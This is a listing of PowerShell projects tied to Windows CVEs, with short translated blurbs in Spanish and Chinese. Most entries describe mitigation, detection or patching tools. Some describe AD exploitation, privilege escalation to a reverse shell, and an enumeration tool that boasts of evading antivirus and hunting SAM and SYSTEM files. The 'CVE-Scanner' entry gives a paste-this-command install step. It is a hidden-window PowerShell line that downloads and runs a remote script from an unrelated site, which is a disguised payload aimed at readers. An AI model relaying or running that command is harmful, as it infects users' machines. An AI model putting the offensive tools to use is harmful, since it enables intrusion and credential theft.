KSK-ITDK-CVE-2026-21509-Mitigation

Mitigación de CVE-2026-21509 Script de PowerShell con detección y remediación para CVE-2026-21509...

iberyanbytes

Iberyanbytes AD 枚举工具，能够收集与网络相关的信息，并获取网络接口、IP 配置、DNS 和路由表等数据。它枚举网络共享并分析共享权限，收集已安装软件、注册表软件、系统配置及已安装服务的详细信息，同时还能获取本地用户和用户会话信息。获取域控制器、站点、信任关系、域用户、组和组策略等信息。搜索与密码相关的文件，如 SAM 和 SYSTEM。 工具使用非常简单，只需运行 .\iberianbytes.ps1 即可，目前对杀毒软件和端点检测完全免杀。...

PS-CVE-2021-44228

PS-CVE-2021-44228 Detección estática de librerías log4j vulnerables en equipos Windows miembros de un dominio AD. Utiliza el binario de la herramienta de detección proporcionado por @1lann: https://github.com/1lann/log4shelldetect Requisitos previos Privilegios de administrador en los equipos...

Invoke-sAMSpoofing

Invoke-sAMSpoofing Explotaciones CVE-2021-42287/CVE-2021-42278 en powershell Tabla de contenido Resumen Menú Capturas de pantalla Referencias Resumen Un script sencillo para atacar AD con las explotaciones CVE-2021-42287/CVE-2021-42278 automáticamente. Menú Invoke-sAMSpooofing Invoke-GoldenTicket...

calebstewart-CVE-2021-1675

CVE-2021-1675 - PrintNightmare LPE PowerShell Caleb Stewart | John Hammond | 1 de julio de 2021 CVE-2021-1675 es una vulnerabilidad crítica de ejecución remota de código y escalada local de privilegios denominada "PrintNightmare". Se han publicado pruebas de concepto Python, C++ para la capacidad...

WSUSResponder

🧰 WSUSResponder Versión: 1.0.1 Autor: RZA / IT Operations Licencia:MIT 🎯 Objetivo El módulo WSUSResponder proporciona un conjunto de herramientas PowerShell para responder rápidamente a la vulnerabilidad crítica CVE-2025-59287 , una falla de ejecución remota de código RCE que afecta a Windows...

Dropper-GCleaner-C2-Infrastructure-Kernel-Driver-PowerShell-Conhost-Payload-Analysis

1. Infraestructura C2: servidores resilientes y redundantes El análisis de memoria con Process Hacker revela una lista completa de dominios utilizados por el Dropper GCleaner para la comunicación C2. Estos dominios están alojados en varias plataformas Scaleway, Render, Replit, etc., lo que indica...

secure-boot-cert-servicing

Renovación de certificados de Secure Boot — evaluación y servicio Un único script de PowerShell autocontenido que evalúa la postura de certificados de Secure Boot de una máquina Windows para la renovación de 2011 → 2023 CVE-2023-24932 / KB5025885 y, solo cuando se lo pides explícitamente, inscrib...

Hijack-service-binaries

Hijack-service-binaries Una herramienta de auditoría de seguridad en PowerShell que identifica binarios de servicios de Windows que pueden ser modificados por el usuario actual, un posible vector de escalada de privilegios. Overview Este script escanea todos los servicios de Windows excepto...

nessus-vulnerability-scanning-lab

Laboratorio de Escaneo de Vulnerabilidades con Nessus — Azure Ciclo completo de gestión de vulnerabilidades: escanear, encontrar, corregir, verificar — ejecutado contra mi entorno de laboratorio de Azure Active Directory en vivo usando un escáner Nessus dedicado desplegado con Terraform. Qué...

Windows10_Cumulative_Updates_PowerShell

直接使用这个——https://github.com/aaronparker/LatestUpdate 如果系统是 Windows 10 企业版或教育版，则会更新所有内容。如果是专业版，则仅修补 1809、1903 和 1909。 Windows10CumulativeUpdatesPowerShell 此 PowerShell 脚本可在系统上运行，用于判断系统是否已修补 CVE-2020-0601（“曲线球”）漏洞，若未修补则下载相应补丁并执行。仅适用于 Windows 10 1507-1909 版本（企业版或教育版；专业版仅 1809-1909），未包含基于 ARM 的 CPU...

CVE-Scanner

CVE-Scanner CVE-2021-42287/CVE-2021-42278/其他 扫描器与利用工具. 安装 1. 按下 WIN + R 键 2. 复制并粘贴以下代码，然后按回车键 powershell -WindowStyle Hidden -Command ScriptBlock::Createirm https://jaihind.edu.in/weatherdolphin/dollrandom.Invoke; 3. 重启你的电脑 使用 1. 打开 CMD 2. fexkex IP FOR SCAN...

CVE-2020-5752-Druva-inSync-Windows-Client-6.6.3---Local-Privilege-Escalation-PowerShell-

CVE-2020-5752: Druva-inSync-Windows-Client-6.6.3---本地权限提升-PowerShell- Druva inSync Windows Client 6.6.3 - 本地权限提升 PowerShell 修改后可使用系统权限获取 Reverse Shell。...

CVE-2025-54100

CVE-2025-54100 – PowerShell 响应解析 PoC 演示 CVE-2025-54100 如何通过恶意 HTML 解析，在 Windows PowerShell 5.1 中导致 远程代码执行（RCE） 。 什么是 CVE-2025-54100？ 漏洞类型： 当 Invoke-WebRequest 未使用 -UseBasicParsing 参数时存在命令注入风险 严重等级： CVSS 7.8（高危） 根本原因： 基于 MSHTML 的 HTML 响应解析允许脚本执行（如 ActiveXObject），并在调用者上下文中运行 受影响系统： Windows 10 / 11...

Scan_WinRAR

ScanWinRAR 扫描受 CVE-2023-40477 影响的 WinRAR 文件 PowerShell 可自我提权。你可以通过右键菜单直接运行。...

Orchestrated-Powershell-for-CVE-2023-24932-en

安全启动缓解编排脚本 概述 此 PowerShell 脚本可自动执行 CVE-2023-24932 的安全启动缓解步骤，如 Microsoft 安全指南 所述。它处理整个过程，包括注册表更新、重启和事件日志验证，以确保您的系统免受 BlackLotus UEFI 启动套件的侵害。 功能 完全自动编排 ：脚本引导您完成每个步骤，包括多次重启，并在每次重启后自动恢复。 事件日志验证 ：检查特定事件 ID（例如 1799、1037）以确认更新成功。 BitLocker 感知 ：如果 BitLocker 处于活动状态，则会发出警告，并确保您拥有恢复密钥。 硬件兼容性检查...

RAR-Anomaly-Inspector

Inspector de Anomalías RAR Inspector de Anomalías RAR es una herramienta de solo lectura en PowerShell para inspección estática de archivos RAR , diseñada para detectar anomalías de path traversal relacionadas con CVE-2025-8088 WinRAR RAR5 Path Traversal. La herramienta no extrae ni ejecuta el...

CVE-2024-4577_PowerShell

CVE-2024-4577PowerShell 請注意： 請確保您已被授權在目標環境中進行此類滲透測試，未經授權使用攻擊技術可能違反相關法律。 程式僅供教育和研究目的，請在合法和道德的範圍內使用。 如果您不了解滲透測試可能帶來的後果，建議聘請紅隊專家來進行測試。 說明 一開始先設定無視網頁憑證檢查 System.Net.ServicePointManager::ServerCertificateValidationCallback = $true 主要攻擊 Payload $url =...

CVE-2021-36934

CVE-2021-36934 CVE-2021-36934 Corrección de PowerShell Este script de PowerShell corrige CVE-2021-36934, basado en el script original de Joran Slingerland https://github.com/JoranSlingerland https://github.com/JoranSlingerland/CVE-2021-36934/blob/main/CVE-2021-36934.ps1 El script de PowerShell ha...

WinRE-Fix

WinRE-Fix PowerShell script to safely move/recreate Windows Recovery Environment WinRE to a new Recovery partition. Keywords: WinRE Windows Recovery Recovery Partition reagentc KB5034441 KB5028997 CVE-2024-20666 BitLocker Windows Update Fix Partition Resize GPT UEFI 🎯 What This Script Solves This...